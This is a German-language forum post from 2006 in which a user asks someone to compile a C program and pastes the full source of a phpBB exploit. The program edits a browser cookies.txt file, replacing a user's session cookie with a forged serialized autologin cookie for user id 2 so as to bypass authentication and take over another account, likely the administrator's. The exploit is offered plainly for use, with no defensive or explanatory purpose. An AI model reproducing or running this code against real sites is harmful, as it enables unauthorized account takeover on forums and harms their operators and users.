Irdeto Geschrieben 9. März 2006 Melden Share Geschrieben 9. März 2006 (bearbeitet) Hallo, hat hier einer grad c++ zur hand ? Brauch mal eben einen C Code compil. Melden bitte per PN, Ich garantiere 100% Spaß :-) #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char** argv[]) { FILE *pointer; char contenido[10000], cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0 %3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22", cookief[9]="%22%3B%7D", cookiec[106], cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb %3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", *pos; int p=0, i=0; if (argc!=2) { printf("Usage: phpbb_exploit.exe user_id\n\n"); exit(0); } pointer=fopen("cookies.txt", "r"); if (pointer) { fread(contenido, 300, 10, pointer); fclose(pointer); } else { printf("The file can't be open\n"); exit(0); } strcpy(cookiec, cookie); strncat(cookiec, argv[1], 6); strcat(cookiec, cookief); if (pos=strstr(contenido, cookiec)) { p=pos - contenido; while (i<92) { if (cookie_false[i]!=NULL) contenido[p]=cookie_false[i]; p++; i++; } } else { printf("The file cookies.txt isn't valid for execute the exploit or the user id is incorrect\n"); exit(0); } if (pointer=fopen("cookies.txt", "w")) { fputs(contenido, pointer); printf("Cookie modified: \n\n%s\n\n", contenido); printf("The cookies file has overwriten... looks like the exploit has worked"); } else printf("\n\nThe file cookies.txt has not write permissions."); return 0; } http://www.titanszeneboard.foren-max.de/ <--- PAYTV *lol* bearbeitet 9. März 2006 von Irdeto Link zu diesem Kommentar Auf anderen Seiten teilen More sharing options...
Empfohlene Beiträge